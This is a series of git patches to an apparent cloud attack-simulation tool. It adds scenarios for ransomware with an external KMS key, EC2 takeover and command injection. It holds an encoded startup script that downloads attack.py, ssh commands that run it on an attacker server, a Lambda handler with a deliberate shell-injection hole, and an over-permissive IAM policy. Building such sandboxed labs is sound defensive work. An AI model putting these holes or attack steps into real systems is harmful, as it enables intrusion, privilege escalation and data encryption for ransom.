Same acc kms --- scenarios/scenario_5/infra/__main__.py | 2 +- scenarios/scenario_5/scenario_5.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py index 7087faa..30b0ae4 100644 --- a/scenarios/scenario_5/infra/__main__.py +++ b/scenarios/scenario_5/infra/__main__.py @@ -91,7 +91,7 @@ def read_public_key(pub_key_path): # User data script to be executed when the instance starts user_data_script = """ -IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgdW56aXAgLXkKc3VkbyBhcHQgaW5zdGFsbCBweXRob24zLXBpcCAteQpzdWRvIHBpcCBpbnN0YWxsIGJvdG8zCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS9yd2FyZS1sYWIvYXR0YWNrLnB5CnN1ZG8gY2hvd24gdWJ1bnR1OnVidW50dSAvaG9tZS91YnVudHUvYXR0YWNrLnB5CndnZXQgLVAgL2hvbWUvdWJ1bnR1IGh0dHBzOi8vbGFiLWZpbGVzLTAwZmZhYWJjYy5zMy5hbWF6b25hd3MuY29tL3J3YXJlLWxhYi9jb250YWN0LnNoCmNobW9kICt4IGNvbnRhY3Quc2gKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9jb250YWN0LnNoCg== +IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgdW56aXAgLXkKc3VkbyBhcHQgaW5zdGFsbCBweXRob24zLXBpcCAteQpzdWRvIHBpcCBpbnN0YWxsIGJvdG8zCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2NvYnJhLXRvb2wtZmlsZXMuczMuYXAtc291dGgtMS5hbWF6b25hd3MuY29tL3NjZW5hcmlvLTUvYXR0YWNrLnB5CnN1ZG8gY2hvd24gdWJ1bnR1OnVidW50dSAvaG9tZS91YnVudHUvYXR0YWNrLnB5CndnZXQgLVAgL2hvbWUvdWJ1bnR1IGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNS9jb250YWN0LnNoCmNobW9kICt4IGNvbnRhY3Quc2gKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9jb250YWN0LnNoCg== """ instance_profile = aws.iam.InstanceProfile("my-instance-profile", diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py index f7543cd..1d53f2d 100644 --- a/scenarios/scenario_5/scenario_5.py +++ b/scenarios/scenario_5/scenario_5.py @@ -52,15 +52,15 @@ def scenario_5_execute(): print(colored("Initiate Instance Takeover", color="red")) loading_animation() print("-"*30) - # #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} ''", shell=True) - print(colored("Access bucket & encrypt the objects using external kms key", color="red")) loading_animation() print("-"*30) - #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo $BUCKET_NAME'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'python3 attack.py'", shell=True) + From 4de577db49ea47d4151b4577052e0e75c0a58d59 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Fri, 2 Aug 2024 23:36:02 +0530 Subject: [PATCH 70/76] Scen 6 init --- scenarios/scenario_6/infra/Pulumi.yaml | 12 ++++++++++++ scenarios/scenario_6/scenario_6.py | 0 2 files changed, 12 insertions(+) create mode 100644 scenarios/scenario_6/infra/Pulumi.yaml create mode 100644 scenarios/scenario_6/scenario_6.py diff --git a/scenarios/scenario_6/infra/Pulumi.yaml b/scenarios/scenario_6/infra/Pulumi.yaml new file mode 100644 index 0000000..e43781b --- /dev/null +++ b/scenarios/scenario_6/infra/Pulumi.yaml @@ -0,0 +1,12 @@ +name: infra +runtime: + name: python + +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + + + diff --git a/scenarios/scenario_6/scenario_6.py b/scenarios/scenario_6/scenario_6.py new file mode 100644 index 0000000..e69de29 From b47da112e54734a8995bbe9b152cfd2208565f73 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Thu, 8 Aug 2024 02:31:58 +0530 Subject: [PATCH 71/76] Init Scenario 6 --- .../infra/Pulumi.azure-scenario-1.yaml | 2 ++ scenarios/scenario_6/infra/__main__.py | 31 +++++++++++++++++++ 2 files changed, 33 insertions(+) create mode 100644 scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml create mode 100644 scenarios/scenario_6/infra/__main__.py diff --git a/scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml b/scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml new file mode 100644 index 0000000..3d78556 --- /dev/null +++ b/scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml @@ -0,0 +1,2 @@ +config: + azure-native:location: eastus diff --git a/scenarios/scenario_6/infra/__main__.py b/scenarios/scenario_6/infra/__main__.py new file mode 100644 index 0000000..a13511d --- /dev/null +++ b/scenarios/scenario_6/infra/__main__.py @@ -0,0 +1,31 @@ +"""An Azure RM Python Pulumi program""" + +import pulumi +from pulumi_azure_native import storage +from pulumi_azure_native import resources + +# Create an Azure Resource Group +resource_group = resources.ResourceGroup("resource_group") + +# Create an Azure resource (Storage Account) +account = storage.StorageAccount( + "sa", + resource_group_name=resource_group.name, + sku=storage.SkuArgs( + name=storage.SkuName.STANDARD_LRS, + ), + kind=storage.Kind.STORAGE_V2, +) + +# Export the primary key of the Storage Account +primary_key = ( + pulumi.Output.all(resource_group.name, account.name) + .apply( + lambda args: storage.list_storage_account_keys( + resource_group_name=args[0], account_name=args[1] + ) + ) + .apply(lambda accountKeys: accountKeys.keys[0].value) +) + +pulumi.export("primary_storage_key", primary_key) \ No newline at end of file From 4d99e8c060f47c12e536755935bbb16d4c1e9cfd Mon Sep 17 00:00:00 2001 From: Anand Tiwari Date: Tue, 13 Aug 2024 21:34:28 +0530 Subject: [PATCH 72/76] updated readme file --- README.md | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 8e42024..5cc2e82 100644 --- a/README.md +++ b/README.md @@ -109,6 +109,8 @@ options: Scenario selection ``` +>>Note* ONLY RUN INTO SANDBOX ENVIRONMENT + #### Simulate AWS Scenario ``` @@ -117,16 +119,19 @@ python3 cobra.py aws launch --simulation ``` - ____ ___ ____ ____ _ - / ___/ _ \| __ )| _ \ / \ -| | | | | | _ \| |_) | / _ \ -| |__| |_| | |_) | _ < / ___ \ - \____\___/|____/|_| \_\/_/ \_\ + ____ ___ ____ ____ _ + / ___| / _ \ | __ ) | _ \ / \ +| | | | | | | _ \ | |_) | / _ \ +| |___ | |_| | | |_) | | _ < / ___ \ + \____| \___/ |____/ |_| \_\ /_/ \_\ Select Attack Scenario of aws: 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence +3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster +4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access +5. Instance takeover, abuse s3 access & perform ransomware using external KMS key Enter your choice: ``` @@ -147,13 +152,16 @@ python3 cobra.py aws destroy --scenario 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence +3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster +4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access +5. Instance takeover, abuse s3 access & perform ransomware using external KMS key ### To Do / In Roadmap -3. Compromising a GKE Pod and accessing cluster secrets, taking over the cluster & escalating privileges at the Project level, possible project takeover. -4. Azure App exploit on a function, data exfiltration from Blob storage & abusing function misconfigs to escalate privileges & leaving a backdoor IAM entity. -5. Exploiting an App on VM, exfiltration of data from Cosmos DB & possible takeover of a resource group. -6. More scenarios loading... + +- Azure App exploit on a function, data exfiltration from Blob storage & abusing function misconfigs to escalate privileges & leaving a backdoor IAM entity. +- Exploiting an App on VM, exfiltration of data from Cosmos DB & possible takeover of a resource group. +- More scenarios loading... ## License From b9c5a80c5be71c25c4b2a9cbba4455c7ea8f1b72 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Wed, 24 Jul 2024 18:17:46 -0500 Subject: [PATCH 73/76] Add example scenario with extensively refactored logic --- cobra.py | 9 ++- core/helpers.py | 55 +++++++++++++++++++ core/main_ng.py | 53 ++++++++++++++++++ .../scenario_0/_files/data/customers.csv | 3 + scenarios_ng/scenario_0/infra/main.py | 45 +++++++++++++++ 5 files changed, 164 insertions(+), 1 deletion(-) create mode 100644 core/main_ng.py create mode 100644 scenarios_ng/scenario_0/_files/data/customers.csv create mode 100644 scenarios_ng/scenario_0/infra/main.py diff --git a/cobra.py b/cobra.py index f255819..181cf73 100644 --- a/cobra.py +++ b/cobra.py @@ -1,24 +1,31 @@ import argparse + from core import main from core.helpers import get_scenario_list +from core.helpers import get_scenario_list + def parse_arguments(): + scenarios = get_scenario_list() scenarios = get_scenario_list() parser = argparse.ArgumentParser(description="Terminal-based option tool") parser.add_argument("cloud_provider", choices=["aws", "azure", "gcp"], help="Cloud provider (aws, azure, gcp)") parser.add_argument("action", choices=["launch", "status", "destroy"], help="Action to perform (launch, status, destroy)") parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") parser.add_argument("--scenario", choices=scenarios, default=scenarios[0], help="Scenario selection") + parser.add_argument("--scenario", choices=scenarios, default=scenarios[0], help="Scenario selection") return parser.parse_args() + def main_function(cloud_provider, action, simulation, scenario): main.main(cloud_provider, action, simulation, scenario) + if __name__ == "__main__": args = parse_arguments() options = vars(args) - main_function(**options) + main_function(**options) \ No newline at end of file diff --git a/core/helpers.py b/core/helpers.py index f6e2cd7..67fb4ad 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -1,15 +1,22 @@ #! /usr/bin/env python # -*- coding: utf-8 -*- import os +from pathlib import Path, PurePath import pyfiglet import re import subprocess +import json +import re +from time import sleep import time from pathlib import Path, PurePath from termcolor import colored from time import sleep +import requests +import yaml +from tqdm import tqdm from tqdm import tqdm import requests import yaml @@ -57,6 +64,54 @@ def generate_ssh_key(): return key_path, key_path + ".pub" +def slugify(s): + s = s.lower().strip() + s = re.sub(r'[^\w\s-]', '', s) + s = re.sub(r'[\s_-]+', '-', s) + s = re.sub(r'^-+|-+$', '', s) + return s + + +def http_request(url, method='GET', headers={}): + resp = requests.request(method, url) + return resp + + +def get_scenario_list(): + """Get a list of scenarios for selection from command line. + """ + scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' + scenarios_list = [] + for path in Path(scenarios_path).glob('*'): + if os.path.isdir(path): + scenarios_list.append(PurePath(path).name) + scenarios_list.sort() + return scenarios_list + + +def get_scenarios_config(): + """Create dict containing scenario config data from every entry in + scenarios directory (title, description, etc.) + """ + scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' + scenarios_config = {} + for path in Path(scenarios_path).glob('*'): + if os.path.isdir(path): + scenario_name = PurePath(path).name + scenario_path = Path(scenarios_path) / scenario_name + config_path = Path(scenario_path, '_files', 'config.yaml') + with open(config_path, 'r') as file_: + config = yaml.load(file_, Loader=yaml.SafeLoader) + scenarios_config[scenario_name] = config + return scenarios_config + + +def print_ascii_art(text): + ascii_art = pyfiglet.figlet_format(text) + print(colored(ascii_art, color="cyan")) + + + def slugify(s): """Return a slug of a string, e.g. My Example becomes my-example""" s = s.lower().strip() diff --git a/core/main_ng.py b/core/main_ng.py new file mode 100644 index 0000000..0bbe260 --- /dev/null +++ b/core/main_ng.py @@ -0,0 +1,53 @@ +from termcolor import colored + +from core.scenario import Scenario +from core.helpers import print_ascii_art, get_scenarios_config + + +def select_attack_scenario(cloud_provider): + scenarios_config = get_scenarios_config() + keys = list(scenarios_config.keys()) + keys.sort() + print(colored('Select Attack Scenario of %s:', color='yellow') % cloud_provider) + choices = [] + for key in keys: + index = int(key[-1:]) + choices.append(index) + print(colored('{}. {}: {}'.format( + index, scenarios_config[key]['title'], scenarios_config[key]['description']), + color='green')) + while True: + try: + choice = int(input(colored('Enter your choice: ', color='yellow'))) + if choice not in choices: + raise ValueError(colored('Invalid choice.', color='red')) + return choice + except ValueError as e: + print(e) + + +def main(cloud_provider, action, simulation, scenario): + tool_name = 'C O B R A' + print_ascii_art(tool_name) + scenario_choice = select_attack_scenario(cloud_provider) + scenario = Scenario(scenario_choice) + if action == 'launch': + if simulation: + # TODO: what to do with cloud provider? + scenario.setup() + scenario.attack() + scenario.destroy() + scenario.generate_report() # TODO: not implemented + elif action == 'status': + # TODO + # subprocess.call('cd ./scenarios/scenario_2/infra/ && pulumi stack ls', shell=True) + pass + elif action == 'destroy': + scenario.destroy() + pass + else: + print('No options provided. --help to know more') + + +if __name__ == '__main__': + main() diff --git a/scenarios_ng/scenario_0/_files/data/customers.csv b/scenarios_ng/scenario_0/_files/data/customers.csv new file mode 100644 index 0000000..9d93eaa --- /dev/null +++ b/scenarios_ng/scenario_0/_files/data/customers.csv @@ -0,0 +1,3 @@ +"ID","last_name","first_name","street_address","city","state_abbr","postcode","credit_card_number","credit_card_security_code","credit_card_expire" +"1","Mitchell","Leslie","81588 Ryan Fall Apt. 738","Port Matthew","IA","28811","3597046616691198","098","06/30" +"2","Thomas","Tara","04211 Jennifer Walk Suite 866","Melissamouth","MS","10758","3533685332107711","228","11/30" diff --git a/scenarios_ng/scenario_0/infra/main.py b/scenarios_ng/scenario_0/infra/main.py new file mode 100644 index 0000000..49352ec --- /dev/null +++ b/scenarios_ng/scenario_0/infra/main.py @@ -0,0 +1,45 @@ +import json +import os + +import pulumi +from pulumi_aws import s3 + + +def pulumi_program(): + data_file = os.path.join( + os.path.dirname(__file__), '..', '_files', 'data', 'customers.csv' + ) # TODO: need easier way to get datafile path + bucket = s3.Bucket('b', bucket_prefix='cobra-test-') + object = s3.BucketObject( + 'object', + bucket=bucket.id, + key='customers.csv', + source=pulumi.FileAsset(data_file) + ) + # Allow public ACLs for the bucket + public_access_block = s3.BucketPublicAccessBlock( + "exampleBucketPublicAccessBlock", + bucket=bucket.id, + block_public_acls=False, + ) + # Set the access policy for the bucket so all objects are readable + s3.BucketPolicy( + "bucket-policy", + bucket=bucket.id, + policy=bucket.id.apply( + lambda id: json.dumps({ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Principal": "*", + "Action": ["s3:GetObject"], + # Policy refers to bucket explicitly + "Resource": [f"arn:aws:s3:::{id}/*"] + }, + })), + opts=pulumi.ResourceOptions(depends_on=[public_access_block]) + ) + pulumi.export('s3-bucket-arn', bucket.arn) + pulumi.export('s3-bucket-id', bucket.id) + pulumi.export('s3-object-arn', object.arn) + pulumi.export('s3-object-id', object.id) From 2aa085b32a5e02c62a3c58544bbc9dc6572deb20 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Fri, 26 Jul 2024 06:14:44 -0500 Subject: [PATCH 74/76] Add progress bar sleep to attack method --- cobra.py | 7 - core/helpers.py | 2 +- core/scenario.py | 1 - scenarios_ng/scenario_2/infra/__main__.py | 60 +++++++ .../infra/assume-role-trust-policy.json | 12 ++ scenarios_ng/scenario_2/infra/iam.py | 36 ++++ scenarios_ng/scenario_2/infra/lambda/hello.py | 26 +++ scenarios_ng/scenario_2/report/cnbas-as-2.png | Bin 0 -> 123970 bytes scenarios_ng/scenario_2/report/report.py | 168 ++++++++++++++++++ scenarios_ng/scenario_2/scenario_2.py | 116 ++++++++++++ 10 files changed, 419 insertions(+), 9 deletions(-) create mode 100644 scenarios_ng/scenario_2/infra/__main__.py create mode 100644 scenarios_ng/scenario_2/infra/assume-role-trust-policy.json create mode 100644 scenarios_ng/scenario_2/infra/iam.py create mode 100644 scenarios_ng/scenario_2/infra/lambda/hello.py create mode 100644 scenarios_ng/scenario_2/report/cnbas-as-2.png create mode 100644 scenarios_ng/scenario_2/report/report.py create mode 100644 scenarios_ng/scenario_2/scenario_2.py diff --git a/cobra.py b/cobra.py index 181cf73..310c70f 100644 --- a/cobra.py +++ b/cobra.py @@ -1,30 +1,23 @@ import argparse - from core import main from core.helpers import get_scenario_list -from core.helpers import get_scenario_list - def parse_arguments(): - scenarios = get_scenario_list() scenarios = get_scenario_list() parser = argparse.ArgumentParser(description="Terminal-based option tool") parser.add_argument("cloud_provider", choices=["aws", "azure", "gcp"], help="Cloud provider (aws, azure, gcp)") parser.add_argument("action", choices=["launch", "status", "destroy"], help="Action to perform (launch, status, destroy)") parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") parser.add_argument("--scenario", choices=scenarios, default=scenarios[0], help="Scenario selection") - parser.add_argument("--scenario", choices=scenarios, default=scenarios[0], help="Scenario selection") return parser.parse_args() - def main_function(cloud_provider, action, simulation, scenario): main.main(cloud_provider, action, simulation, scenario) - if __name__ == "__main__": args = parse_arguments() options = vars(args) diff --git a/core/helpers.py b/core/helpers.py index 67fb4ad..df53f54 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -5,7 +5,6 @@ import pyfiglet import re import subprocess -import json import re from time import sleep import time @@ -14,6 +13,7 @@ from termcolor import colored from time import sleep +import pyfiglet import requests import yaml from tqdm import tqdm diff --git a/core/scenario.py b/core/scenario.py index 2639eee..3f165ab 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -51,7 +51,6 @@ def attack(self): data = json.load(f) result = self.attack_mod.attack(data) if (result): - # TODO: logging instead of print print(colored('Attack succeeded', color='red')) else: print(colored('Attack failed', color='red')) diff --git a/scenarios_ng/scenario_2/infra/__main__.py b/scenarios_ng/scenario_2/infra/__main__.py new file mode 100644 index 0000000..89142e3 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/__main__.py @@ -0,0 +1,60 @@ +import iam +import pulumi +import pulumi_aws as aws + +region = aws.config.region + +custom_stage_name = 'example' + +lambda_func = aws.lambda_.Function("mylambda", + role=iam.lambda_role.arn, + runtime="python3.12", + handler="hello.handler", + code=pulumi.AssetArchive({ + '.': pulumi.FileArchive('./lambda') + }) +) + +def swagger_route_handler(arn): + return ({ + "x-amazon-apigateway-any-method": { + "x-amazon-apigateway-integration": { + "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), + "passthroughBehavior": "when_no_match", + "httpMethod": "POST", + "type": "aws_proxy", + }, + }, + }) + +rest_api = aws.apigateway.RestApi("api", + body=pulumi.Output.json_dumps({ + "swagger": "2.0", + "info": {"title": "api", "version": "1.0"}, + "paths": { + "/": swagger_route_handler(lambda_func.arn), + }, + })) + +deployment = aws.apigateway.Deployment("api-deployment", + rest_api=rest_api.id, + stage_name="", +) + +stage = aws.apigateway.Stage("api-stage", + rest_api=rest_api.id, + deployment=deployment.id, + stage_name=custom_stage_name, +) + +rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", + action="lambda:invokeFunction", + function=lambda_func.name, + principal="apigateway.amazonaws.com", + source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), +) + +pulumi.export("api-gateway-id", rest_api.id) +pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) +pulumi.export("lambda-role-name", iam.lambda_role.name) +pulumi.export("lambda-func-name", lambda_func.arn) \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json new file mode 100644 index 0000000..b4b1999 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json @@ -0,0 +1,12 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam:::root" + }, + "Action": "sts:AssumeRole" + } + ] +} diff --git a/scenarios_ng/scenario_2/infra/iam.py b/scenarios_ng/scenario_2/infra/iam.py new file mode 100644 index 0000000..29df25a --- /dev/null +++ b/scenarios_ng/scenario_2/infra/iam.py @@ -0,0 +1,36 @@ +# Copyright 2016-2018, Pulumi Corporation. All rights reserved. + +from pulumi_aws import iam + +lambda_role = iam.Role('lambdaRole', + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Action": "sts:AssumeRole", + "Principal": { + "Service": "lambda.amazonaws.com" + }, + "Effect": "Allow", + "Sid": "" + } + ] + }""" +) + +lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', + role=lambda_role.id, + policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Action": [ + "logs:CreateLogGroup", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:AttachRolePolicy" + ], + "Resource": "*" + }] + }""" +) diff --git a/scenarios_ng/scenario_2/infra/lambda/hello.py b/scenarios_ng/scenario_2/infra/lambda/hello.py new file mode 100644 index 0000000..964f80b --- /dev/null +++ b/scenarios_ng/scenario_2/infra/lambda/hello.py @@ -0,0 +1,26 @@ +import json +import subprocess + +def handler(event, context): + # Retrieve the command parameter from the query string + command = event.get('queryStringParameters', {}).get('query', '') + + # Check if the command is empty + if command == 'ping': + return { + 'statusCode': 200, + 'body': json.dumps('Cheers from AWS Lambda!!') + } + else: + # Execute the command using subprocess + try: + result = subprocess.check_output(command, shell=True) + return { + 'statusCode': 200, + 'body': result.decode('utf-8') + } + except subprocess.CalledProcessError as e: + return { + 'statusCode': 500, + 'body': f'Error executing command: {e}' + } diff --git a/scenarios_ng/scenario_2/report/cnbas-as-2.png b/scenarios_ng/scenario_2/report/cnbas-as-2.png new file mode 100644 index 0000000000000000000000000000000000000000..fb31477ace831ed4f6d956806028396e50182c06 GIT binary patch literal 123970 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 